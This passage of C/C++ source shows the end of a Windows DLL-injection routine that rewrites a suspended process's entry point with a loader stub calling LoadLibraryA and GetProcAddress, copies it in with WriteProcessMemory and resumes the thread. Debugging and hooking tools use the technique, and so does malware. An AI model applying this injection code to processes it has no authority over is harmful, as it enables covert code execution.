	*((DWORD*)(LoadAsm+ 1)) = (DWORD)Entry; // data dest
	*((DWORD*)(LoadAsm+ 7)) = *((DWORD*)&buff[0]); // 1st data 
	*((DWORD*)(LoadAsm+14)) = *((DWORD*)&buff[4]); // 2nd data

	HMODULE hKernel = LoadLibrary( "Kernel32" );

	*((DWORD*)(LoadAsm+19)) = (ProcMem + LoadAsmSize); // begining of dll name
	*((DWORD*)(LoadAsm+24)) = ((DWORD)GetProcAddress( hKernel, "LoadLibraryA" )) - (ProcMem + 28); // offset to LoadLibraryA
	
	*((DWORD*)(LoadAsm+29)) = (ProcMem + LoadAsmSize + dllNameLen); // begining of function name
	*((DWORD*)(LoadAsm+35)) = ((DWORD)GetProcAddress( hKernel, "GetProcAddress" )) - (ProcMem + 39); // offset to GetProcAddress

	FreeLibrary( hKernel );

	*((DWORD*)(LoadAsm+40)) = dataLen; // user data Length
	*((DWORD*)(LoadAsm+45)) = ProcMem + LoadAsmSize + dllNameLen + funcNameLen; // begining of user data
	*((DWORD*)(LoadAsm+52)) = (DWORD)Entry - (ProcMem + 56); // entry points

	memcpy( toWrite, LoadAsm, LoadAsmSize );
	memcpy( &toWrite[LoadAsmSize], dll, dllNameLen );
	memcpy( &toWrite[LoadAsmSize+dllNameLen], func, funcNameLen );

	if ( dataLen > 0 )
		memcpy( &toWrite[LoadAsmSize+dllNameLen+funcNameLen], dllData, dataLen );

	if ( !WriteProcessMemory( ProcInfo.hProcess, (void*)ProcMem, toWrite, allocSize, &Num ) || Num != allocSize )
	{
		TerminateProcess( ProcInfo.hProcess, 0 );
		return NO_WRITE;
	}

	delete[] toWrite;

	*pid = ProcInfo.dwProcessId;

	ResumeThread( ProcInfo.hThread );

	CloseHandle( ProcInfo.hProcess );
	CloseHandle( ProcInfo.hThread );

	return SUCCESS;
}